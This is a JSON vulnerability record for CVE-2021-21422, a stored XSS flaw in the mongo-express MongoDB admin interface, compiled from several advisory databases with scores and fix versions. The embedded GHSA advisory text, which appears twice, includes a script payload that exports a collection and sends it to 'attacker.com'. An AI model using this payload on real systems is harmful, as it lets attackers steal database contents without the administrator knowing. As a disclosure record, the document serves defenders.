{"id":"CVE-2021-21422","aliases":["EUVD-2021-1282","GHSA-7p8h-86p5-wv3p"],"status":"published","title":"XSS Vulnerability in mongo-express","description":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0157,"percentile":0.75696,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2021-06-21T18:45:12Z","modified":"2026-10-20T10:54:28Z","fixes":[{"ecosystem":"npm","package":"mongo-express","fixed_in":["1.0.0-alpha.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mongo-express","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.0-alpha.2"},{"fixed":"1.0.0-alpha.4"}]}]},{"source":"osv","ecosystem":"npm","package":"mongo-express","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0-alpha.4"}]}]}],"products":[{"vendor":"mongo-express","product":"mongo-express"},{"vendor":"mongo-express_project","product":"mongo-express"}],"references":[{"url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/mongo-express/mongo-express/issues/577","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7p8h-86p5-wv3p"}],"sources":{"cve":[{"id":"CVE-2021-21422","title":"XSS Vulnerability in mongo-express","description":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","status":"published","published":"2021-06-21T18:45:12Z","modified":"2024-08-03T18:09:16.084Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:59.802172Z"}],"euvd":[{"id":"EUVD-2021-1282","description":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","status":"published","published":"2021-06-21T18:45:12Z","modified":"2024-08-03T18:09:16Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T03:25:06.347262Z"}],"ghsa":[{"id":"GHSA-7p8h-86p5-wv3p","title":"Cross-site scripting","description":"Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... \u003cscript\u003e await fetch('http://localhost:8081/db/testdb/export/users').then( async res =\u003e  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) \u003c/script\u003e\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n","status":"published","published":"2021-06-28T17:18:04Z","modified":"2023-02-01T05:05:59Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:36.66596Z"}],"nvd":[{"id":"CVE-2021-21422","description":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","status":"published","published":"2021-06-21T19:15:07.947Z","modified":"2026-06-17T03:35:32.683Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:06:54.892562Z"}],"osv":[{"id":"CVE-2021-21422","description":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","status":"published","published":"2021-06-21T19:15:07.947Z","modified":"2026-10-20T10:54:28.728078908Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:18.004149Z"},{"id":"GHSA-7p8h-86p5-wv3p","title":"Cross-site scripting","description":"Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... \u003cscript\u003e await fetch('http://localhost:8081/db/testdb/export/users').then( async res =\u003e  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) \u003c/script\u003e\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n","status":"published","published":"2021-06-28T17:18:04Z","modified":"2026-07-08T06:29:33.325350636Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:41.349637Z"}]}}